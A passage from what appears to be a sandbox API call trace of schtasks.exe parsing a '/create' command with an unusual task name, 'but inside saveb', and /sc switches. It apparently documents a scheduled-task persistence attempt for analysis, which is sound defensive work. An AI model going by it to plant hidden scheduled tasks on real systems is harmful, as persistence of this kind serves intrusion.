returned 0x230000 [0157.016] GetProcessHeap () returned 0x230000 [0157.016] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cd70) returned 1 [0157.016] GetProcessHeap () returned 0x230000 [0157.016] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cd70) returned 0x20 [0157.016] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cd70 | out: hHeap=0x230000) returned 1 [0157.016] GetProcessHeap () returned 0x230000 [0157.016] GetProcessHeap () returned 0x230000 [0157.016] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24ddf0) returned 1 [0157.016] GetProcessHeap () returned 0x230000 [0157.016] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24ddf0) returned 0x6 [0157.016] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ddf0 | out: hHeap=0x230000) returned 1 [0157.016] GetProcessHeap () returned 0x230000 [0157.016] GetProcessHeap () returned 0x230000 [0157.016] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cda0) returned 1 [0157.016] GetProcessHeap () returned 0x230000 [0157.016] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cda0) returned 0x20 [0157.016] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cda0 | out: hHeap=0x230000) returned 1 [0157.016] GetProcessHeap () returned 0x230000 [0157.016] GetProcessHeap () returned 0x230000 [0157.016] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24b9b0) returned 1 [0157.016] GetProcessHeap () returned 0x230000 [0157.016] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24b9b0) returned 0x18 [0157.017] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24b9b0 | out: hHeap=0x230000) returned 1 [0157.017] SetLastError (dwErrCode=0x0) [0157.017] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0157.017] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0157.017] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0157.017] VerifyVersionInfoW (in: lpVersionInformation=0x1bc690, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1bc690) returned 1 [0157.017] SetLastError (dwErrCode=0x0) [0157.017] lstrlenW (lpString="create") returned 6 [0157.017] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0157.017] SetLastError (dwErrCode=0x490) [0157.017] SetLastError (dwErrCode=0x0) [0157.017] lstrlenW (lpString="create") returned 6 [0157.017] GetProcessHeap () returned 0x230000 [0157.017] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cda0 [0157.017] GetProcessHeap () returned 0x230000 [0157.017] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24d4e0 [0157.017] _memicmp (_Buf1=0x24d4e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.017] GetProcessHeap () returned 0x230000 [0157.017] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x16) returned 0x24d560 [0157.017] SetLastError (dwErrCode=0x0) [0157.017] _memicmp (_Buf1=0x24ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.017] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x24bc10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0157.017] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0157.018] GetProcessHeap () returned 0x230000 [0157.018] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x74e) returned 0x24dd80 [0157.018] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x24dd80 | out: lpData=0x24dd80) returned 1 [0157.018] VerQueryValueW (in: pBlock=0x24dd80, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1bc778, puLen=0x1bc7e0 | out: lplpBuffer=0x1bc778*=0x24e11c, puLen=0x1bc7e0) returned 1 [0157.018] _memicmp (_Buf1=0x24ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.018] _vsnwprintf (in: _Buffer=0x24bc10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1bc758 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0157.018] VerQueryValueW (in: pBlock=0x24dd80, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1bc7e8, puLen=0x1bc7d8 | out: lplpBuffer=0x1bc7e8*=0x24df48, puLen=0x1bc7d8) returned 1 [0157.018] lstrlenW (lpString="schtasks.exe") returned 12 [0157.018] lstrlenW (lpString="schtasks.exe") returned 12 [0157.018] lstrlenW (lpString=".EXE") returned 4 [0157.018] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0157.018] lstrlenW (lpString="schtasks.exe") returned 12 [0157.018] lstrlenW (lpString=".EXE") returned 4 [0157.018] lstrlenW (lpString="schtasks") returned 8 [0157.018] lstrlenW (lpString="/create") returned 7 [0157.018] _memicmp (_Buf1=0x24ba70, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.018] _vsnwprintf (in: _Buffer=0x24bc10, _BufferCount=0x19, _Format="%s %s", _ArgList=0x1bc758 | out: _Buffer="schtasks /create") returned 16 [0157.018] _memicmp (_Buf1=0x24ba90, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.019] GetProcessHeap () returned 0x230000 [0157.019] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cd70 [0157.019] _memicmp (_Buf1=0x24bab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.019] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x24d2a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0157.019] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0157.019] GetProcessHeap () returned 0x230000 [0157.019] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x30) returned 0x247ab0 [0157.019] _vsnwprintf (in: _Buffer=0x24c010, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1bc758 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0157.019] GetProcessHeap () returned 0x230000 [0157.019] GetProcessHeap () returned 0x230000 [0157.019] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24dd80) returned 1 [0157.019] GetProcessHeap () returned 0x230000 [0157.019] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24dd80) returned 0x74e [0157.019] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24dd80 | out: hHeap=0x230000) returned 1 [0157.019] SetLastError (dwErrCode=0x0) [0157.019] GetThreadLocale () returned 0x409 [0157.019] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.019] lstrlenW (lpString="create") returned 6 [0157.019] GetThreadLocale () returned 0x409 [0157.019] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.019] lstrlenW (lpString="?") returned 1 [0157.019] GetThreadLocale () returned 0x409 [0157.019] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.019] lstrlenW (lpString="s") returned 1 [0157.019] GetThreadLocale () returned 0x409 [0157.019] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.019] lstrlenW (lpString="u") returned 1 [0157.019] GetThreadLocale () returned 0x409 [0157.019] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.020] lstrlenW (lpString="p") returned 1 [0157.020] GetThreadLocale () returned 0x409 [0157.020] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.020] lstrlenW (lpString="ru") returned 2 [0157.020] GetThreadLocale () returned 0x409 [0157.020] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.020] lstrlenW (lpString="rp") returned 2 [0157.020] GetThreadLocale () returned 0x409 [0157.020] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.020] lstrlenW (lpString="sc") returned 2 [0157.020] GetThreadLocale () returned 0x409 [0157.020] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.020] lstrlenW (lpString="mo") returned 2 [0157.020] GetThreadLocale () returned 0x409 [0157.020] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.020] lstrlenW (lpString="d") returned 1 [0157.020] GetThreadLocale () returned 0x409 [0157.020] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.020] lstrlenW (lpString="m") returned 1 [0157.020] GetThreadLocale () returned 0x409 [0157.020] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.020] lstrlenW (lpString="i") returned 1 [0157.020] GetThreadLocale () returned 0x409 [0157.020] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.020] lstrlenW (lpString="tn") returned 2 [0157.020] GetThreadLocale () returned 0x409 [0157.020] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.020] lstrlenW (lpString="tr") returned 2 [0157.020] GetThreadLocale () returned 0x409 [0157.020] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.020] lstrlenW (lpString="st") returned 2 [0157.020] GetThreadLocale () returned 0x409 [0157.020] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.020] lstrlenW (lpString="sd") returned 2 [0157.020] GetThreadLocale () returned 0x409 [0157.020] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.020] lstrlenW (lpString="ed") returned 2 [0157.020] GetThreadLocale () returned 0x409 [0157.021] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.021] lstrlenW (lpString="it") returned 2 [0157.021] GetThreadLocale () returned 0x409 [0157.021] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.021] lstrlenW (lpString="et") returned 2 [0157.021] GetThreadLocale () returned 0x409 [0157.021] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.021] lstrlenW (lpString="k") returned 1 [0157.021] GetThreadLocale () returned 0x409 [0157.021] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.021] lstrlenW (lpString="du") returned 2 [0157.021] GetThreadLocale () returned 0x409 [0157.021] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.021] lstrlenW (lpString="ri") returned 2 [0157.021] GetThreadLocale () returned 0x409 [0157.021] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.021] lstrlenW (lpString="z") returned 1 [0157.021] GetThreadLocale () returned 0x409 [0157.021] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.021] lstrlenW (lpString="f") returned 1 [0157.021] GetThreadLocale () returned 0x409 [0157.021] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.021] lstrlenW (lpString="v1") returned 2 [0157.021] GetThreadLocale () returned 0x409 [0157.021] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.021] lstrlenW (lpString="xml") returned 3 [0157.021] GetThreadLocale () returned 0x409 [0157.021] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.021] lstrlenW (lpString="ec") returned 2 [0157.021] GetThreadLocale () returned 0x409 [0157.021] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.021] lstrlenW (lpString="rl") returned 2 [0157.021] GetThreadLocale () returned 0x409 [0157.021] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.022] lstrlenW (lpString="delay") returned 5 [0157.022] GetThreadLocale () returned 0x409 [0157.022] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0157.022] lstrlenW (lpString="np") returned 2 [0157.022] SetLastError (dwErrCode=0x0) [0157.042] SetLastError (dwErrCode=0x0) [0157.042] lstrlenW (lpString="/create") returned 7 [0157.042] lstrlenW (lpString="-/") returned 2 [0157.042] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.042] lstrlenW (lpString="create") returned 6 [0157.042] lstrlenW (lpString="create") returned 6 [0157.042] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.042] lstrlenW (lpString="create") returned 6 [0157.042] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.042] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|create|") returned 8 [0157.042] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|create|") returned 8 [0157.042] lstrlenW (lpString="|create|") returned 8 [0157.042] lstrlenW (lpString="|create|") returned 8 [0157.042] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0157.042] SetLastError (dwErrCode=0x0) [0157.042] SetLastError (dwErrCode=0x0) [0157.042] SetLastError (dwErrCode=0x0) [0157.042] lstrlenW (lpString="/tn") returned 3 [0157.042] lstrlenW (lpString="-/") returned 2 [0157.042] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.042] lstrlenW (lpString="create") returned 6 [0157.042] lstrlenW (lpString="create") returned 6 [0157.042] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.042] lstrlenW (lpString="tn") returned 2 [0157.042] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.042] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|create|") returned 8 [0157.042] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tn|") returned 4 [0157.043] lstrlenW (lpString="|create|") returned 8 [0157.043] lstrlenW (lpString="|tn|") returned 4 [0157.043] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0157.043] SetLastError (dwErrCode=0x490) [0157.043] lstrlenW (lpString="?") returned 1 [0157.043] lstrlenW (lpString="?") returned 1 [0157.043] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.043] lstrlenW (lpString="tn") returned 2 [0157.043] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.043] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|?|") returned 3 [0157.043] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tn|") returned 4 [0157.043] lstrlenW (lpString="|?|") returned 3 [0157.043] lstrlenW (lpString="|tn|") returned 4 [0157.043] SetLastError (dwErrCode=0x490) [0157.043] lstrlenW (lpString="s") returned 1 [0157.043] lstrlenW (lpString="s") returned 1 [0157.043] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.043] lstrlenW (lpString="tn") returned 2 [0157.043] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.043] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|s|") returned 3 [0157.043] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tn|") returned 4 [0157.043] lstrlenW (lpString="|s|") returned 3 [0157.043] lstrlenW (lpString="|tn|") returned 4 [0157.043] SetLastError (dwErrCode=0x490) [0157.043] lstrlenW (lpString="u") returned 1 [0157.043] lstrlenW (lpString="u") returned 1 [0157.043] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.043] lstrlenW (lpString="tn") returned 2 [0157.043] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.044] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|u|") returned 3 [0157.044] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tn|") returned 4 [0157.044] lstrlenW (lpString="|u|") returned 3 [0157.044] lstrlenW (lpString="|tn|") returned 4 [0157.044] SetLastError (dwErrCode=0x490) [0157.044] lstrlenW (lpString="p") returned 1 [0157.044] lstrlenW (lpString="p") returned 1 [0157.044] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.044] lstrlenW (lpString="tn") returned 2 [0157.044] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.044] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|p|") returned 3 [0157.044] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tn|") returned 4 [0157.044] lstrlenW (lpString="|p|") returned 3 [0157.044] lstrlenW (lpString="|tn|") returned 4 [0157.044] SetLastError (dwErrCode=0x490) [0157.044] lstrlenW (lpString="ru") returned 2 [0157.044] lstrlenW (lpString="ru") returned 2 [0157.044] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.044] lstrlenW (lpString="tn") returned 2 [0157.044] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.044] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|ru|") returned 4 [0157.044] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tn|") returned 4 [0157.044] lstrlenW (lpString="|ru|") returned 4 [0157.044] lstrlenW (lpString="|tn|") returned 4 [0157.044] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0157.044] SetLastError (dwErrCode=0x490) [0157.044] lstrlenW (lpString="rp") returned 2 [0157.044] lstrlenW (lpString="rp") returned 2 [0157.044] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.044] lstrlenW (lpString="tn") returned 2 [0157.044] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.045] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|rp|") returned 4 [0157.045] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tn|") returned 4 [0157.045] lstrlenW (lpString="|rp|") returned 4 [0157.045] lstrlenW (lpString="|tn|") returned 4 [0157.045] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0157.045] SetLastError (dwErrCode=0x490) [0157.045] lstrlenW (lpString="sc") returned 2 [0157.045] lstrlenW (lpString="sc") returned 2 [0157.045] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.045] lstrlenW (lpString="tn") returned 2 [0157.045] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.045] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|sc|") returned 4 [0157.045] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tn|") returned 4 [0157.045] lstrlenW (lpString="|sc|") returned 4 [0157.045] lstrlenW (lpString="|tn|") returned 4 [0157.045] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0157.045] SetLastError (dwErrCode=0x490) [0157.045] lstrlenW (lpString="mo") returned 2 [0157.045] lstrlenW (lpString="mo") returned 2 [0157.045] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.045] lstrlenW (lpString="tn") returned 2 [0157.045] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.045] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|mo|") returned 4 [0157.045] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tn|") returned 4 [0157.045] lstrlenW (lpString="|mo|") returned 4 [0157.045] lstrlenW (lpString="|tn|") returned 4 [0157.045] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0157.045] SetLastError (dwErrCode=0x490) [0157.045] lstrlenW (lpString="d") returned 1 [0157.045] lstrlenW (lpString="d") returned 1 [0157.045] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.045] lstrlenW (lpString="tn") returned 2 [0157.045] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.046] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|d|") returned 3 [0157.046] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tn|") returned 4 [0157.046] lstrlenW (lpString="|d|") returned 3 [0157.046] lstrlenW (lpString="|tn|") returned 4 [0157.046] SetLastError (dwErrCode=0x490) [0157.046] lstrlenW (lpString="m") returned 1 [0157.046] lstrlenW (lpString="m") returned 1 [0157.046] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.046] lstrlenW (lpString="tn") returned 2 [0157.046] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.046] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|m|") returned 3 [0157.046] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tn|") returned 4 [0157.046] lstrlenW (lpString="|m|") returned 3 [0157.046] lstrlenW (lpString="|tn|") returned 4 [0157.046] SetLastError (dwErrCode=0x490) [0157.046] lstrlenW (lpString="i") returned 1 [0157.046] lstrlenW (lpString="i") returned 1 [0157.046] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.046] lstrlenW (lpString="tn") returned 2 [0157.046] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.046] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|i|") returned 3 [0157.046] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tn|") returned 4 [0157.046] lstrlenW (lpString="|i|") returned 3 [0157.046] lstrlenW (lpString="|tn|") returned 4 [0157.046] SetLastError (dwErrCode=0x490) [0157.046] lstrlenW (lpString="tn") returned 2 [0157.046] lstrlenW (lpString="tn") returned 2 [0157.046] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.046] lstrlenW (lpString="tn") returned 2 [0157.046] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.046] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tn|") returned 4 [0157.047] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tn|") returned 4 [0157.047] lstrlenW (lpString="|tn|") returned 4 [0157.047] lstrlenW (lpString="|tn|") returned 4 [0157.047] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0157.047] SetLastError (dwErrCode=0x0) [0157.047] SetLastError (dwErrCode=0x0) [0157.047] lstrlenW (lpString="but inside saveb") returned 16 [0157.047] lstrlenW (lpString="-/") returned 2 [0157.047] StrChrIW (lpStart="-/", wMatch=0x62) returned 0x0 [0157.047] SetLastError (dwErrCode=0x490) [0157.047] SetLastError (dwErrCode=0x490) [0157.047] SetLastError (dwErrCode=0x0) [0157.047] lstrlenW (lpString="but inside saveb") returned 16 [0157.047] StrChrIW (lpStart="but inside saveb", wMatch=0x3a) returned 0x0 [0157.047] SetLastError (dwErrCode=0x490) [0157.047] SetLastError (dwErrCode=0x0) [0157.047] lstrlenW (lpString="but inside saveb") returned 16 [0157.047] SetLastError (dwErrCode=0x0) [0157.047] SetLastError (dwErrCode=0x0) [0157.047] lstrlenW (lpString="/sc") returned 3 [0157.047] lstrlenW (lpString="-/") returned 2 [0157.047] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.047] lstrlenW (lpString="create") returned 6 [0157.047] lstrlenW (lpString="create") returned 6 [0157.047] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.047] lstrlenW (lpString="sc") returned 2 [0157.047] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.047] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|create|") returned 8 [0157.047] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|sc|") returned 4 [0157.047] lstrlenW (lpString="|create|") returned 8 [0157.047] lstrlenW (lpString="|sc|") returned 4 [0157.047] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0157.047] SetLastError (dwErrCode=0x490) [0157.047] lstrlenW (lpString="?") returned 1 [0157.048] lstrlenW (lpString="?") returned 1 [0157.048] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.048] lstrlenW (lpString="sc") returned 2 [0157.048] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.048] _vsnwprintf (in: _Buffer=0x24c240, 